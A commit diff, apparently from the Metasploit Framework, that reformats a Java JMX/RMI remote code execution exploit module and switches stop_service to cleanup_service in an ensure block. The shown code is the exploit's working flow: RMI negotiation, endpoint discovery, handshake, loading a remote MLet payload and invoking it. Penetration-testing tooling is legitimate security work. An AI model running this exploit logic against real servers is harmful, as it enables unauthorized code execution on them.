Rename stop_service to cleanup_service for services that use reference counting
This commit is contained in:
@@ -131,60 +131,63 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
vprint_status("Starting service...")
|
||||
start_service
|
||||
|
||||
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
|
||||
connect
|
||||
|
||||
print_status("Sending RMI Header...")
|
||||
unless is_rmi?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
|
||||
end
|
||||
|
||||
print_status("Discovering the JMXRMI endpoint...")
|
||||
mbean_server = discover_endpoint
|
||||
disconnect
|
||||
if mbean_server.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
|
||||
else
|
||||
print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
|
||||
end
|
||||
|
||||
# First try to connect to the original RHOST, since the mbean address may be inaccessible
|
||||
begin
|
||||
connect(true, { 'RPORT' => mbean_server[:port] })
|
||||
rescue Rex::ConnectionError
|
||||
# If that fails, try connecting to the listed address instead
|
||||
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
|
||||
connect
|
||||
|
||||
print_status("Sending RMI Header...")
|
||||
unless is_rmi?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
|
||||
end
|
||||
|
||||
print_status("Discovering the JMXRMI endpoint...")
|
||||
mbean_server = discover_endpoint
|
||||
disconnect
|
||||
if mbean_server.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
|
||||
else
|
||||
print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
|
||||
end
|
||||
|
||||
# First try to connect to the original RHOST, since the mbean address may be inaccessible
|
||||
begin
|
||||
connect(true, { 'RPORT' => mbean_server[:port] })
|
||||
rescue Rex::ConnectionError
|
||||
# If that fails, try connecting to the listed address instead
|
||||
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||
end
|
||||
|
||||
unless is_rmi?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
|
||||
end
|
||||
|
||||
print_status("Proceeding with handshake...")
|
||||
jmx_endpoint = handshake(mbean_server)
|
||||
if jmx_endpoint.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
|
||||
else
|
||||
print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
|
||||
end
|
||||
|
||||
print_status("Loading payload...")
|
||||
unless load_payload(jmx_endpoint)
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
|
||||
end
|
||||
|
||||
print_status("Executing payload...")
|
||||
send_jmx_invoke(
|
||||
object_number: jmx_endpoint[:object_number],
|
||||
uid_number: jmx_endpoint[:uid].number,
|
||||
uid_time: jmx_endpoint[:uid].time,
|
||||
uid_count: jmx_endpoint[:uid].count,
|
||||
object: "#{@mlet}:name=jmxpayload,id=1",
|
||||
method: 'run'
|
||||
)
|
||||
disconnect
|
||||
ensure
|
||||
vprint_status("Stopping service...")
|
||||
cleanup_service
|
||||
end
|
||||
|
||||
unless is_rmi?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
|
||||
end
|
||||
|
||||
print_status("Proceeding with handshake...")
|
||||
jmx_endpoint = handshake(mbean_server)
|
||||
if jmx_endpoint.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
|
||||
else
|
||||
print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
|
||||
end
|
||||
|
||||
print_status("Loading payload...")
|
||||
unless load_payload(jmx_endpoint)
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
|
||||
end
|
||||
|
||||
print_status("Executing payload...")
|
||||
send_jmx_invoke(
|
||||
object_number: jmx_endpoint[:object_number],
|
||||
uid_number: jmx_endpoint[:uid].number,
|
||||
uid_time: jmx_endpoint[:uid].time,
|
||||
uid_count: jmx_endpoint[:uid].count,
|
||||
object: "#{@mlet}:name=jmxpayload,id=1",
|
||||
method: 'run'
|
||||
)
|
||||
disconnect
|
||||
vprint_status("Stopping service...")
|
||||
stop_service
|
||||
end
|
||||
|
||||
def is_rmi?
|
||||
|
||||
Reference in New Issue
Block a user